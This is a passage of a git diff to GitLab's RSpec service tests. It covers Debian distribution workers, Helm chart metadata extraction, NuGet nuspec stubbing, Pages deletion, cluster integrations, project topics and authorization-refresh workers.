- expected_release_content = <<~EOF
- Codename: unstable
- Date: Sat, 25 Jan 2020 15:17:18 +0000
- Valid-Until: Mon, 27 Jan 2020 15:17:18 +0000
- MD5Sum:
- SHA256:
- EOF
-
- distribution.file.use_file do |file_path|
- expect(File.read(file_path)).to eq(expected_release_content)
- end
- end
- end
+ it_behaves_like 'Generate minimal Debian Distribution'
end
end
end
-
- it_behaves_like 'Generate Distribution', :project
- it_behaves_like 'Generate Distribution', :group
end
end
diff --git a/spec/services/packages/debian/parse_debian822_service_spec.rb b/spec/services/packages/debian/parse_debian822_service_spec.rb
index f43e38991ce..cad4e81f350 100644
--- a/spec/services/packages/debian/parse_debian822_service_spec.rb
+++ b/spec/services/packages/debian/parse_debian822_service_spec.rb
@@ -68,7 +68,7 @@ RSpec.describe Packages::Debian::ParseDebian822Service do
'Architecture' => 'any',
'Multi-Arch' => 'same',
'Depends' => 'libsample0 (= ${binary:Version}), ${misc:Depends}',
- 'Description' => "Some mostly empty developpement files\nUsed in GitLab tests.\n\nTesting another paragraph."
+ 'Description' => "Some mostly empty development files\nUsed in GitLab tests.\n\nTesting another paragraph."
},
'Package: libsample0' => {
'Package' => 'libsample0',
diff --git a/spec/services/packages/debian/process_changes_service_spec.rb b/spec/services/packages/debian/process_changes_service_spec.rb
index f23471659bc..3069a2806b2 100644
--- a/spec/services/packages/debian/process_changes_service_spec.rb
+++ b/spec/services/packages/debian/process_changes_service_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe Packages::Debian::ProcessChangesService do
context 'with valid package file' do
it 'updates package and package file', :aggregate_failures do
+ expect(::Packages::Debian::GenerateDistributionWorker).to receive(:perform_async).with(:project, distribution.id)
expect { subject.execute }
.to change { Packages::Package.count }.from(1).to(2)
.and not_change { Packages::PackageFile.count }
@@ -30,6 +31,7 @@ RSpec.describe Packages::Debian::ProcessChangesService do
let(:package_file) { incoming.package_files.first }
it 'raise ExtractionError', :aggregate_failures do
+ expect(::Packages::Debian::GenerateDistributionWorker).not_to receive(:perform_async)
expect { subject.execute }
.to not_change { Packages::Package.count }
.and not_change { Packages::PackageFile.count }
@@ -47,6 +49,7 @@ RSpec.describe Packages::Debian::ProcessChangesService do
end
it 'remove the package file', :aggregate_failures do
+ expect(::Packages::Debian::GenerateDistributionWorker).not_to receive(:perform_async)
expect { subject.execute }
.to not_change { Packages::Package.count }
.and not_change { Packages::PackageFile.count }
diff --git a/spec/services/packages/debian/update_distribution_service_spec.rb b/spec/services/packages/debian/update_distribution_service_spec.rb
index 852fc713e34..2aa34a62111 100644
--- a/spec/services/packages/debian/update_distribution_service_spec.rb
+++ b/spec/services/packages/debian/update_distribution_service_spec.rb
@@ -6,6 +6,8 @@ RSpec.describe Packages::Debian::UpdateDistributionService do
RSpec.shared_examples 'Update Debian Distribution' do |expected_message, expected_components, expected_architectures, component_file_delta = 0|
it 'returns ServiceResponse', :aggregate_failures do
expect(distribution).to receive(:update).with(simple_params).and_call_original if expected_message.nil?
+ expect(::Packages::Debian::GenerateDistributionWorker).to receive(:perform_async).with(distribution.class.container_type, distribution.id).and_call_original if expected_message.nil?
+ expect(::Packages::Debian::GenerateDistributionWorker).not_to receive(:perform_async) unless expected_message.nil?
if component_file_delta.zero?
expect { response }
diff --git a/spec/services/packages/helm/extract_file_metadata_service_spec.rb b/spec/services/packages/helm/extract_file_metadata_service_spec.rb
new file mode 100644
index 00000000000..ea196190e24
--- /dev/null
+++ b/spec/services/packages/helm/extract_file_metadata_service_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Packages::Helm::ExtractFileMetadataService do
+ let_it_be(:package_file) { create(:helm_package_file) }
+
+ let(:service) { described_class.new(package_file) }
+
+ let(:expected) do
+ {
+ 'apiVersion' => 'v2',
+ 'description' => 'File, Block, and Object Storage Services for your Cloud-Native Environment',
+ 'icon' => 'https://rook.io/images/rook-logo.svg',
+ 'name' => 'rook-ceph',
+ 'sources' => ['https://github.com/rook/rook'],
+ 'version' => 'v1.5.8'
+ }
+ end
+
+ subject { service.execute }
+
+ context 'with a valid file' do
+ it { is_expected.to eq(expected) }
+ end
+
+ context 'without Chart.yaml' do
+ before do
+ expect_next_instances_of(Gem::Package::TarReader::Entry, 14) do |entry|
+ expect(entry).to receive(:full_name).exactly(:once).and_wrap_original do |m, *args|
+ m.call(*args) + '_suffix'
+ end
+ end
+ end
+
+ it { expect { subject }.to raise_error(described_class::ExtractionError, 'Chart.yaml not found within a directory') }
+ end
+
+ context 'with Chart.yaml at root' do
+ before do
+ expect_next_instances_of(Gem::Package::TarReader::Entry, 14) do |entry|
+ expect(entry).to receive(:full_name).exactly(:once) do
+ 'Chart.yaml'
+ end
+ end
+ end
+
+ it { expect { subject }.to raise_error(described_class::ExtractionError, 'Chart.yaml not found within a directory') }
+ end
+
+ context 'with an invalid YAML' do
+ before do
+ expect_next_instance_of(Gem::Package::TarReader::Entry) do |entry|
+ expect(entry).to receive(:read).and_return('{')
+ end
+ end
+
+ it { expect { subject }.to raise_error(described_class::ExtractionError, 'Error while parsing Chart.yaml: (<unknown>): did not find expected node content while parsing a flow node at line 2 column 1') }
+ end
+end
diff --git a/spec/services/packages/nuget/metadata_extraction_service_spec.rb b/spec/services/packages/nuget/metadata_extraction_service_spec.rb
index 39fc0f9e6a1..79428b58bd9 100644
--- a/spec/services/packages/nuget/metadata_extraction_service_spec.rb
+++ b/spec/services/packages/nuget/metadata_extraction_service_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe Packages::Nuget::MetadataExtractionService do
- let(:package_file) { create(:nuget_package).package_files.first }
+ let_it_be(:package_file) { create(:nuget_package).package_files.first }
+
let(:service) { described_class.new(package_file.id) }
describe '#execute' do
@@ -28,7 +29,7 @@ RSpec.describe Packages::Nuget::MetadataExtractionService do
context 'with nuspec file' do
before do
- allow(service).to receive(:nuspec_file).and_return(fixture_file(nuspec_filepath))
+ allow(service).to receive(:nuspec_file_content).and_return(fixture_file(nuspec_filepath))
end
context 'with dependencies' do
@@ -57,7 +58,7 @@ RSpec.describe Packages::Nuget::MetadataExtractionService do
let_it_be(:nuspec_filepath) { 'packages/nuget/with_metadata.nuspec' }
before do
- allow(service).to receive(:nuspec_file).and_return(fixture_file(nuspec_filepath))
+ allow(service).to receive(:nuspec_file_content).and_return(fixture_file(nuspec_filepath))
end
it { expect(subject[:license_url]).to eq('https://opensource.org/licenses/MIT') }
diff --git a/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb b/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
index c1cce46a54c..ffe1a5b7646 100644
--- a/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
+++ b/spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
let(:package_version) { '1.0.0' }
let(:package_file_name) { 'dummyproject.dummypackage.1.0.0.nupkg' }
- RSpec.shared_examples 'raising an' do |error_class|
+ shared_examples 'raising an' do |error_class|
it "raises an #{error_class}" do
expect { subject }.to raise_error(error_class)
end
@@ -21,11 +21,7 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
describe '#execute' do
subject { service.execute }
- before do
- stub_package_file_object_storage(enabled: true, direct_upload: true)
- end
-
- RSpec.shared_examples 'taking the lease' do
+ shared_examples 'taking the lease' do
before do
allow(service).to receive(:lease_release?).and_return(false)
end
@@ -39,7 +35,7 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
end
end
- RSpec.shared_examples 'not updating the package if the lease is taken' do
+ shared_examples 'not updating the package if the lease is taken' do
context 'without obtaining the exclusive lease' do
let(:lease_key) { "packages:nuget:update_package_from_metadata_service:package:#{package_id}" }
let(:metadata) { { package_name: package_name, package_version: package_version } }
@@ -117,9 +113,10 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
let(:expected_tags) { %w(foo bar test tag1 tag2 tag3 tag4 tag5) }
before do
- allow_any_instance_of(Packages::Nuget::MetadataExtractionService)
- .to receive(:nuspec_file)
- .and_return(fixture_file(nuspec_filepath))
+ allow_next_instance_of(Packages::Nuget::MetadataExtractionService) do |service|
+ allow(service)
+ .to receive(:nuspec_file_content).and_return(fixture_file(nuspec_filepath))
+ end
end
it 'creates tags' do
@@ -172,9 +169,10 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
let(:package_file_name) { 'test.package.3.5.2.nupkg' }
before do
- allow_any_instance_of(Packages::Nuget::MetadataExtractionService)
- .to receive(:nuspec_file)
- .and_return(fixture_file(nuspec_filepath))
+ allow_next_instance_of(Packages::Nuget::MetadataExtractionService) do |service|
+ allow(service)
+ .to receive(:nuspec_file_content).and_return(fixture_file(nuspec_filepath))
+ end
end
it 'updates package and package file' do
@@ -195,7 +193,9 @@ RSpec.describe Packages::Nuget::UpdatePackageFromMetadataService, :clean_gitlab_
context 'with package file not containing a nuspec file' do
before do
- allow_any_instance_of(Zip::File).to receive(:glob).and_return([])
+ allow_next_instance_of(Zip::File) do |file|
+ allow(file).to receive(:glob).and_return([])
+ end
end
it_behaves_like 'raising an', ::Packages::Nuget::MetadataExtractionService::ExtractionError
diff --git a/spec/services/pages/delete_service_spec.rb b/spec/services/pages/delete_service_spec.rb
index a79c89a1c35..295abe15bf0 100644
--- a/spec/services/pages/delete_service_spec.rb
+++ b/spec/services/pages/delete_service_spec.rb
@@ -6,7 +6,6 @@ RSpec.describe Pages::DeleteService do
let_it_be(:admin) { create(:admin) }
let(:project) { create(:project, path: "my.project")}
- let!(:domain) { create(:pages_domain, project: project) }
let(:service) { described_class.new(project, admin)}
before do
@@ -14,8 +13,6 @@ RSpec.describe Pages::DeleteService do
end
it 'deletes published pages', :sidekiq_inline do
- expect(project.pages_deployed?).to be(true)
-
expect_next_instance_of(Gitlab::PagesTransfer) do |pages_transfer|
expect(pages_transfer).to receive(:rename_project).and_return true
end
@@ -23,11 +20,9 @@ RSpec.describe Pages::DeleteService do
expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
service.execute
-
- expect(project.pages_deployed?).to be(false)
end
- it "doesn't remove anything from the legacy storage", :sidekiq_inline do
+ it "doesn't remove anything from the legacy storage if local_store is disabled", :sidekiq_inline do
allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
expect(project.pages_deployed?).to be(true)
@@ -38,12 +33,20 @@ RSpec.describe Pages::DeleteService do
expect(project.pages_deployed?).to be(false)
end
- it 'deletes all domains', :sidekiq_inline do
- expect(project.pages_domains.count).to eq(1)
+ it 'marks pages as not deployed' do
+ expect do
+ service.execute
+ end.to change { project.reload.pages_deployed? }.from(true).to(false)
+ end
+
+ it 'deletes all domains' do
+ domain = create(:pages_domain, project: project)
+ unrelated_domain = create(:pages_domain)
service.execute
- expect(project.reload.pages_domains.count).to eq(0)
+ expect(PagesDomain.find_by_id(domain.id)).to eq(nil)
+ expect(PagesDomain.find_by_id(unrelated_domain.id)).to be
end
it 'schedules a destruction of pages deployments' do
@@ -61,20 +64,4 @@ RSpec.describe Pages::DeleteService do
service.execute
end.to change { PagesDeployment.count }.by(-1)
end
-
- it 'marks pages as not deployed, deletes domains and schedules worker to remove pages from disk' do
- expect(project.pages_deployed?).to eq(true)
- expect(project.pages_domains.count).to eq(1)
-
- service.execute
-
- expect(project.pages_deployed?).to eq(false)
- expect(project.pages_domains.count).to eq(0)
-
- expect_next_instance_of(Gitlab::PagesTransfer) do |pages_transfer|
- expect(pages_transfer).to receive(:rename_project).and_return true
- end
-
- Sidekiq::Worker.drain_all
- end
end
diff --git a/spec/services/pod_logs/elasticsearch_service_spec.rb b/spec/services/pod_logs/elasticsearch_service_spec.rb
index e233abcd96a..598b162aee4 100644
--- a/spec/services/pod_logs/elasticsearch_service_spec.rb
+++ b/spec/services/pod_logs/elasticsearch_service_spec.rb
@@ -34,11 +34,11 @@ RSpec.describe ::PodLogs::ElasticsearchService do
describe '#get_raw_pods' do
before do
- create(:clusters_applications_elastic_stack, :installed, cluster: cluster)
+ create(:clusters_integrations_elastic_stack, cluster: cluster)
end
it 'returns success with elasticsearch response' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(Elasticsearch::Transport::Client.new)
allow_any_instance_of(::Gitlab::Elasticsearch::Logs::Pods)
@@ -53,7 +53,7 @@ RSpec.describe ::PodLogs::ElasticsearchService do
end
it 'returns an error when ES is unreachable' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(nil)
@@ -64,7 +64,7 @@ RSpec.describe ::PodLogs::ElasticsearchService do
end
it 'handles server errors from elasticsearch' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(Elasticsearch::Transport::Client.new)
allow_any_instance_of(::Gitlab::Elasticsearch::Logs::Pods)
@@ -247,11 +247,11 @@ RSpec.describe ::PodLogs::ElasticsearchService do
let(:expected_cursor) { '9999934,1572449784442' }
before do
- create(:clusters_applications_elastic_stack, :installed, cluster: cluster)
+ create(:clusters_integrations_elastic_stack, cluster: cluster)
end
it 'returns the logs' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(Elasticsearch::Transport::Client.new)
allow_any_instance_of(::Gitlab::Elasticsearch::Logs::Lines)
@@ -267,7 +267,7 @@ RSpec.describe ::PodLogs::ElasticsearchService do
end
it 'returns an error when ES is unreachable' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(nil)
@@ -278,7 +278,7 @@ RSpec.describe ::PodLogs::ElasticsearchService do
end
it 'handles server errors from elasticsearch' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(Elasticsearch::Transport::Client.new)
allow_any_instance_of(::Gitlab::Elasticsearch::Logs::Lines)
@@ -292,7 +292,7 @@ RSpec.describe ::PodLogs::ElasticsearchService do
end
it 'handles cursor errors from elasticsearch' do
- allow_any_instance_of(::Clusters::Applications::ElasticStack)
+ allow_any_instance_of(::Clusters::Integrations::ElasticStack)
.to receive(:elasticsearch_client)
.and_return(Elasticsearch::Transport::Client.new)
allow_any_instance_of(::Gitlab::Elasticsearch::Logs::Lines)
diff --git a/spec/services/projects/create_service_spec.rb b/spec/services/projects/create_service_spec.rb
index cd659bf5e60..ac0b6cc8ef1 100644
--- a/spec/services/projects/create_service_spec.rb
+++ b/spec/services/projects/create_service_spec.rb
@@ -82,6 +82,34 @@ RSpec.describe Projects::CreateService, '#execute' do
end
end
+ describe 'topics' do
+ subject(:project) { create_project(user, opts) }
+
+ context "with 'topics' parameter" do
+ let(:opts) { { topics: 'topics' } }
+
+ it 'keeps them as specified' do
+ expect(project.topic_list).to eq(%w[topics])
+ end
+ end
+
+ context "with 'topic_list' parameter" do
+ let(:opts) { { topic_list: 'topic_list' } }
+
+ it 'keeps them as specified' do
+ expect(project.topic_list).to eq(%w[topic_list])
+ end
+ end
+
+ context "with 'tag_list' parameter (deprecated)" do
+ let(:opts) { { tag_list: 'tag_list' } }
+
+ it 'keeps them as specified' do
+ expect(project.topic_list).to eq(%w[tag_list])
+ end
+ end
+ end
+
context 'user namespace' do
it do
project = create_project(user, opts)
@@ -270,7 +298,7 @@ RSpec.describe Projects::CreateService, '#execute' do
context 'error handling' do
it 'handles invalid options' do
- opts[:default_branch] = 'master'
+ opts[:invalid] = 'option'
expect(create_project(user, opts)).to eq(nil)
end
end
@@ -663,7 +691,7 @@ RSpec.describe Projects::CreateService, '#execute' do
stub_feature_flags(projects_post_creation_worker: false)
end
- context 'Prometheus application is shared via group cluster' do
+ context 'Prometheus integration is shared via group cluster' do
let(:cluster) { create(:cluster, :group, groups: [group]) }
let(:group) do
create(:group).tap do |group|
@@ -672,7 +700,7 @@ RSpec.describe Projects::CreateService, '#execute' do
end
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
it 'creates PrometheusService record', :aggregate_failures do
@@ -685,11 +713,11 @@ RSpec.describe Projects::CreateService, '#execute' do
end
end
- context 'Prometheus application is shared via instance cluster' do
+ context 'Prometheus integration is shared via instance cluster' do
let(:cluster) { create(:cluster, :instance) }
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
it 'creates PrometheusService record', :aggregate_failures do
@@ -712,7 +740,7 @@ RSpec.describe Projects::CreateService, '#execute' do
end
end
- context 'shared Prometheus application is not available' do
+ context 'shared Prometheus integration is not available' do
it 'does not persist PrometheusService record', :aggregate_failures do
project = create_project(user, opts)
@@ -778,7 +806,7 @@ RSpec.describe Projects::CreateService, '#execute' do
end
end
- context 'with specialized_project_authorization_workers' do
+ context 'with specialized project_authorization workers' do
let_it_be(:other_user) { create(:user) }
let_it_be(:group) { create(:group) }
@@ -809,7 +837,7 @@ RSpec.describe Projects::CreateService, '#execute' do
expect(AuthorizedProjectUpdate::ProjectCreateWorker).to(
receive(:perform_async).and_call_original
)
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to(
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
receive(:bulk_perform_in)
.with(1.hour,
array_including([user.id], [other_user.id]),
@@ -819,34 +847,6 @@ RSpec.describe Projects::CreateService, '#execute' do
create_project(user, opts)
end
-
- context 'when feature is disabled' do
- before do
- stub_feature_flags(specialized_project_authorization_workers: false)
- end
-
- it 'updates authorization for current_user' do
- project = create_project(user, opts)
-
- expect(
- Ability.allowed?(user, :read_project, project)
- ).to be_truthy
- end
-
- it 'uses AuthorizedProjectsWorker' do
- expect(AuthorizedProjectsWorker).to(
- receive(:bulk_perform_async).with(array_including([user.id], [other_user.id])).and_call_original
- )
- expect(AuthorizedProjectUpdate::ProjectCreateWorker).not_to(
- receive(:perform_async)
- )
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to(
- receive(:bulk_perform_in)
- )
-
- create_project(user, opts)
- end
- end
end
def create_project(user, opts)
diff --git a/spec/services/projects/destroy_service_spec.rb b/spec/services/projects/destroy_service_spec.rb
index ff582279d71..c6b2b1e2b21 100644
--- a/spec/services/projects/destroy_service_spec.rb
+++ b/spec/services/projects/destroy_service_spec.rb
@@ -447,23 +447,6 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
it_behaves_like 'handles errors thrown during async destroy', "Failed to remove webhooks"
end
-
- context 'when "destroy_webhooks_before_the_project" flag is disabled' do
- before do
- stub_feature_flags(destroy_webhooks_before_the_project: false)
- end
-
- it 'does not call WebHooks::DestroyService' do
- expect(WebHooks::DestroyService).not_to receive(:new)
-
- expect do
- destroy_project(project, user)
- end.to change(WebHook, :count).by(-2)
- .and change(WebHookLog, :count).by(-1)
-
- expect(another_project_web_hook.reload).to be
- end
- end
end
context 'error while destroying', :sidekiq_inline do
diff --git a/spec/services/projects/group_links/create_service_spec.rb b/spec/services/projects/group_links/create_service_spec.rb
index c249a51fc56..9bc780fe177 100644
--- a/spec/services/projects/group_links/create_service_spec.rb
+++ b/spec/services/projects/group_links/create_service_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Projects::GroupLinks::CreateService, '#execute' do
expect { subject.execute(create(:group)) }.not_to change { project.project_group_links.count }
end
- context 'with specialized_project_authorization_workers' do
+ context 'with specialized project_authorization workers' do
let_it_be(:other_user) { create(:user) }
before do
@@ -54,7 +54,7 @@ RSpec.describe Projects::GroupLinks::CreateService, '#execute' do
.with(project.id, group.id, group_access)
.and_call_original
)
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to(
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
receive(:bulk_perform_in)
.with(1.hour,
array_including([user.id], [other_user.id]),
@@ -64,25 +64,5 @@ RSpec.describe Projects::GroupLinks::CreateService, '#execute' do
subject.execute(group)
end
-
- context 'when feature is disabled' do
- before do
- stub_feature_flags(specialized_project_authorization_project_share_worker: false)
- end
-
- it 'uses AuthorizedProjectsWorker' do
- expect(AuthorizedProjectsWorker).to(
- receive(:bulk_perform_async).with(array_including([user.id], [other_user.id])).and_call_original
- )
- expect(AuthorizedProjectUpdate::ProjectCreateWorker).not_to(
- receive(:perform_async)
- )
- expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to(
- receive(:bulk_perform_in)
- )
-
- subject.execute(group)
- end
- end
end
end
diff --git a/spec/services/projects/group_links/destroy_service_spec.rb b/spec/services/projects/group_links/destroy_service_spec.rb
index 459b79b2d7d..d60e9a01e54 100644
--- a/spec/services/projects/group_links/destroy_service_spec.rb
+++ b/spec/services/projects/group_links/destroy_service_spec.rb
@@ -14,12 +14,60 @@ RSpec.describe Projects::GroupLinks::DestroyService, '#execute' do
expect { subject.execute(group_link) }.to change { project.project_group_links.count }.from(1).to(0)
end
- it 'updates authorization' do
- group.add_maintainer(user)
+ context 'project authorizations refresh' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ context 'when the feature flag `use_specialized_worker_for_project_auth_recalculation` is enabled' do
+ before do
+ stub_feature_flags(use_specialized_worker_for_project_auth_recalculation: true)
+ end
+
+ it 'calls AuthorizedProjectUpdate::ProjectRecalculateWorker to update project authorizations' do
+ expect(AuthorizedProjectUpdate::ProjectRecalculateWorker)
+ .to receive(:perform_async).with(group_link.project.id)
+
+ subject.execute(group_link)
+ end
+
+ it 'calls AuthorizedProjectUpdate::UserRefreshFromReplicaWorker with a delay to update project authorizations' do
+ expect(AuthorizedProjectUpdate::UserRefreshFromReplicaWorker).to(
+ receive(:bulk_perform_in)
+ .with(1.hour,
+ [[user.id]],
+ batch_delay: 30.seconds, batch_size: 100)
+ )
+
+ subject.execute(group_link)
+ end
- expect { subject.execute(group_link) }.to(
- change { Ability.allowed?(user, :read_project, project) }
- .from(true).to(false))
+ it 'updates project authorizations of users who had access to the project via the group share', :sidekiq_inline do
+ expect { subject.execute(group_link) }.to(
+ change { Ability.allowed?(user, :read_project, project) }
+ .from(true).to(false))
+ end
+ end
+
+ context 'when the feature flag `use_specialized_worker_for_project_auth_recalculation` is disabled' do
+ before do
+ stub_feature_flags(use_specialized_worker_for_project_auth_recalculation: false)
+ end
+
+ it 'calls UserProjectAccessChangedService to update project authorizations' do
+ expect_next_instance_of(UserProjectAccessChangedService, [user.id]) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ subject.execute(group_link)
+ end
+
+ it 'updates project authorizations of users who had access to the project via the group share' do
+ expect { subject.execute(group_link) }.to(
+ change { Ability.allowed?(user, :read_project, project) }
+ .from(true).to(false))
+ end
+ end
end
it 'returns false if group_link is blank' do
diff --git a/spec/services/projects/prometheus/alerts/notify_service_spec.rb b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
index bfc8225b654..5235c64d451 100644
--- a/spec/services/projects/prometheus/alerts/notify_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
@@ -45,9 +45,9 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
end
before do
- create(:clusters_applications_prometheus, :installed,
+ create(:clusters_integrations_prometheus,
cluster: prd_cluster, alert_manager_token: token)
- create(:clusters_applications_prometheus, :installed,
+ create(:clusters_integrations_prometheus,
cluster: stg_cluster, alert_manager_token: nil)
end
@@ -62,41 +62,6 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
end
end
- context 'with project specific cluster using prometheus application' do
- where(:cluster_enabled, :status, :configured_token, :token_input, :result) do
- true | :installed | token | token | :success
- true | :installed | nil | nil | :success
- true | :updated | token | token | :success
- true | :updating | token | token | :failure
- true | :installed | token | 'x' | :failure
- true | :installed | nil | token | :failure
- true | :installed | token | nil | :failure
- true | nil | token | token | :failure
- false | :installed | token | token | :failure
- end
-
- with_them do
- before do
- cluster.update!(enabled: cluster_enabled)
-
- if status
- create(:clusters_applications_prometheus, status,
- cluster: cluster,
- alert_manager_token: configured_token)
- end
- end
-
- case result = params[:result]
- when :success
- include_examples 'processes one firing and one resolved prometheus alerts'
- when :failure
- it_behaves_like 'alerts service responds with an error and takes no actions', :unauthorized
- else
- raise "invalid result: #{result.inspect}"
- end
- end
- end
-
context 'with project specific cluster using prometheus integration' do
where(:cluster_enabled, :integration_enabled, :configured_token, :token_input, :result) do
true | true | token | token | :success
diff --git a/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb b/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb
index 2dc4a56368b..76830396104 100644
--- a/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb
+++ b/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::ScheduleBulkRepositoryShardMovesService do
it_behaves_like 'moves repository shard in bulk' do
- let_it_be_with_reload(:container) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let_it_be_with_reload(:container) { create(:project, :repository) }
let(:move_service_klass) { Projects::RepositoryStorageMove }
let(:bulk_worker_klass) { ::Projects::ScheduleBulkRepositoryShardMovesWorker }
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index 8498b752610..3171abfb36f 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -195,8 +195,6 @@ RSpec.describe Projects::TransferService do
end
it 'does not update storage location' do
- create(:project_repository, project: project)
-
attempt_project_transfer
expect(project.project_repository).to have_attributes(
diff --git a/spec/services/projects/update_service_spec.rb b/spec/services/projects/update_service_spec.rb
index b9e909e8615..e1b22da2e61 100644
--- a/spec/services/projects/update_service_spec.rb
+++ b/spec/services/projects/update_service_spec.rb
@@ -587,6 +587,31 @@ RSpec.describe Projects::UpdateService do
it_behaves_like 'the transfer was not scheduled'
end
end
+
+ describe 'when updating topics' do
+ let(:project) { create(:project, topic_list: 'topic1, topic2') }
+
+ it 'update using topics' do
+ result = update_project(project, user, { topics: 'topics' })
+
+ expect(result[:status]).to eq(:success)
+ expect(project.topic_list).to eq(%w[topics])
+ end
+
+ it 'update using topic_list' do
+ result = update_project(project, user, { topic_list: 'topic_list' })
+
+ expect(result[:status]).to eq(:success)
+ expect(project.topic_list).to eq(%w[topic_list])
+ end
+
+ it 'update using tag_list (deprecated)' do
+ result = update_project(project, user, { tag_list: 'tag_list' })
+
+ expect(result[:status]).to eq(:success)
+ expect(project.topic_list).to eq(%w[tag_list])
+ end
+ end
end
describe '#run_auto_devops_pipeline?' do
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index f3ad69bae13..4af76bc65ab 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -1202,16 +1202,6 @@ RSpec.describe QuickActions::InterpretService do
end
it_behaves_like 'draft command' do
- let(:content) { '/wip' }
- let(:issuable) { merge_request }
- end
-
- it_behaves_like 'undraft command' do
- let(:content) { '/wip' }
- let(:issuable) { merge_request }
- end
-
- it_behaves_like 'draft command' do
let(:content) { '/draft' }
let(:issuable) { merge_request }
end
diff --git a/spec/services/security/ci_configuration/sast_parser_service_spec.rb b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
index 4ebaddcfa4e..4fe99f20879 100644
--- a/spec/services/security/ci_configuration/sast_parser_service_spec.rb
+++ b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe Security::CiConfiguration::SastParserService do
let(:configuration) { described_class.new(project).configuration }
let(:secure_analyzers_prefix) { configuration['global'][0] }
let(:sast_excluded_paths) { configuration['global'][1] }
- let(:sast_analyzer_image_tag) { configuration['global'][2] }
let(:sast_pipeline_stage) { configuration['pipeline'][0] }
let(:sast_search_max_depth) { configuration['pipeline'][1] }
let(:bandit) { configuration['analyzers'][0] }
@@ -19,7 +18,6 @@ RSpec.describe Security::CiConfiguration::SastParserService do
it 'parses the configuration for SAST' do
expect(secure_analyzers_prefix['default_value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
expect(sast_excluded_paths['default_value']).to eql('spec, test, tests, tmp')
- expect(sast_analyzer_image_tag['default_value']).to eql('2')
expect(sast_pipeline_stage['default_value']).to eql('test')
expect(sast_search_max_depth['default_value']).to eql('4')
expect(brakeman['enabled']).to be(true)
@@ -32,7 +30,6 @@ RSpec.describe Security::CiConfiguration::SastParserService do
allow(project.repository).to receive(:blob_data_at).and_return(gitlab_ci_yml_content)
expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers2')
expect(sast_excluded_paths['value']).to eql('spec, executables')
- expect(sast_analyzer_image_tag['value']).to eql('2')
expect(sast_pipeline_stage['value']).to eql('our_custom_security_stage')
expect(sast_search_max_depth['value']).to eql('8')
expect(brakeman['enabled']).to be(false)
@@ -40,15 +37,6 @@ RSpec.describe Security::CiConfiguration::SastParserService do
expect(sast_brakeman_level['value']).to eql('2')
end
- context 'SAST_DEFAULT_ANALYZERS is set' do
- it 'enables analyzers correctly' do
